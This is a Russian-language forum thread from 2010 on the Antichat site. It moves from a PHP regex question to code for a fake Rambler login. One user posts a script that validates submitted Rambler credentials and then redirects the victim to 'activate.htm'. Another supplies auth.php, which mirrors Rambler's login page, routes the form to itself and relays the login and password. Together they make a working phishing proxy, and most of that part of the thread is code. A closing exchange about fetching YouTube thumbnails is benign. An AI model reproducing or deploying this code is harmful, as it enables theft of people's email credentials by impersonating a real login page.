Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

14.01.2010, 23:00
|
|
Познающий
Регистрация: 24.05.2009
Сообщений: 44
Провел на форуме: 367760
Репутация:
33
|
|
Сообщение от mailbrush
google.com -> Регулярные выражения
Хм оригинально)
Но я рыл уже там и норм статей описывающих функцию и как ее реализовать не нашол)
|
|
|

14.01.2010, 23:07
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
php.su/functions/?preg_match
PS: сначала синтаксис выучи (погугли, там на сайте phpclub.ru есть отличная статтейка), а потом функции учи...
|
|
|

14.01.2010, 23:15
|
|
Познающий
Регистрация: 24.05.2009
Сообщений: 44
Провел на форуме: 367760
Репутация:
33
|
|
Смотрел уже я это немогу понять принцип действия!
Понимаешь!
|
|
|

15.01.2010, 00:02
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Сообщение от Mil-Net
Смотрел уже я это немогу понять принцип действия!
Понимаешь!
Я то понимаю, но ты не понимаешь  Почитай еще раз... Я с первого раза понял все по статье с phpclub
|
|
|

15.01.2010, 00:14
|
|
Познающий
Регистрация: 24.05.2009
Сообщений: 44
Провел на форуме: 367760
Репутация:
33
|
|
Ну вот мое предположение как делать
preg_match($login,\login\,$passw,\passw\,$res,$s)
делаю по этой схеме
preg_match("шаблон_поиска", "строка_в_которой_проводитс я_поиск", массив_с_результами_поиска)
Ну так не правильно
|
|
|

15.01.2010, 00:27
|
|
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
Провел на форуме: 2310282
Репутация:
149
|
|
Сообщение от Mil-Net
Ну вот мое предположение как делать
preg_match($login,\login\,$passw,\passw\,$res,$s)
делаю по этой схеме
preg_match("шаблон_поиска", "строка_в_которой_проводитс я_поиск", массив_с_результами_поиска)
Ну так не правильно
В зависимости от того что тебе нужно, реализуется по разному:
1. Проверка, есть ли заданный текст в строке
PHP код:
if (preg_match('/name="passw" id="passw"/', $result) {да строка name="passw" id="passw" есть в переменной $result}
но лучше
PHP код:
if (strstr($result, 'name="passw" id="passw"') {да строка name="passw" id="passw" есть в переменной $result}
2. Поиск определенных данных из текста
PHP код:
preg_match('/name="passw" id="passw" value="(.*?)"/', $result, $temp);
echo $temp[1]; // name="passw" id="passw" value="ЭТО ЗНАЧЕНИЕ ВЫВОДИТСЯ!"
Последний раз редактировалось GlooK; 15.01.2010 в 00:29..
|
|
|

15.01.2010, 01:15
|
|
Познающий
Регистрация: 24.05.2009
Сообщений: 44
Провел на форуме: 367760
Репутация:
33
|
|
Даж чтож такое опять неработает!
Посмотрите что опять нетак?
По идеи всю уже дожно работать...
PHP код:
<?php
function rambler_login($login,$passw)
{
$login = urlencode($login);
$passw = urlencode($passw);
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );
curl_setopt($ch, CURLOPT_REFERER, 'http://id.rambler.ru/script/auth.cgi');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw");
$res = curl_exec($ch);
curl_close ( $ch );
if(preg_match('/name="passw" id="passw" value="(.*?)"/', $res, $s))
return $s[1];
else return false;
}
$email = $_POST['login'];
$password = $_POST['passw'];
if(!rambler_login($email, $password)) {
global $res;
} else {
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>";
}
?>
|
|
|

15.01.2010, 02:24
|
|
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
Провел на форуме: 2310282
Репутация:
149
|
|
Даж чтож такое опять неработает!
Посмотрите что опять нетак?
По идеи всю уже дожно работать...
Тебе это нужно?
Файл: auth.php
PHP код:
<?php
### curl
function curl($url, $post = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;}
### authorization
function authorization($login, $passwd) {
$result = curl('http://id.rambler.ru/script/auth.cgi?mode=login', 'login='.$login.'&passw='.$passwd);
if (strstr($result, '<p class="txt_error">') <> null) {
$result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result);
$result = ereg_replace('src="', 'src="http://id.rambler.ru', $result);
$result = ereg_replace('auth.cgi', 'auth.php', $result);
echo $result;}
else {header('Location: http://id.rambler.ru/script/auth.cgi?mode=login&login='.$login.'&passw='.$passwd);}
}
### main
if (!empty($_POST['login']) && !empty($_POST['passw'])) {
authorization($_POST['login'], $_POST['passw']);}
else {
$result = curl('http://id.rambler.ru/script/auth.cgi');
$result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result);
$result = ereg_replace('src="', 'src="http://id.rambler.ru', $result);
$result = ereg_replace('auth.cgi', 'auth.php', $result);
echo $result;}
?>
|
|
|

15.01.2010, 02:42
|
|
Постоянный
Регистрация: 06.04.2009
Сообщений: 383
Провел на форуме: 1288105
Репутация:
328
|
|
есть у кого ни будь скрипт пхп который с url из youtube на сайт добалял виде
ну я как бы все сам сделал уже, в базу все заносит , единственное что бы еще хотелось что бы кусочек скрипта который бы брал скрин с видео (как в youtube бывает когда выбираешь видео ) , я такое видел на social engine там только url вводишь и все сам добавлял и иконку картинки от видео тоже , вот я не понял откуда он его берет
|
|
|

15.01.2010, 04:33
|
|
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
Провел на форуме: 2310282
Репутация:
149
|
|
Ну как бы пиктограмму можно тырить с:
http://i1.ytimg.com/vi/HASHVIDEO/2.jpg
Там, где HASHVIDEO - параметр v:
http://www.youtube.com/watch?v=Fuc1aH-BY2c
т.е. в данном случае
http://i1.ytimg.com/vi/Fuc1aH-BY2c/2.jpg
UPD:
В большом разрешении:
http://i3.ytimg.com/vi/Fuc1aH-BY2c/hqdefault.jpg
Скрипт:
PHP код:
<?php
if (!empty($_POST['url'])) {
preg_match('/watch\?v=(.*?)$/iD', $_POST['url'], $temp);
echo '<center><b>Пиктограмма</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/2.jpg'.'"></center><br>';
echo '<center><b>HD - качество</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/0.jpg'.'"></center><br>';}
?>
<center>
<form method="post">
<input type="text" name="url" value="">
<input type="submit" value="Загрузить!">
</form>
</center>
Последний раз редактировалось GlooK; 15.01.2010 в 05:02..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|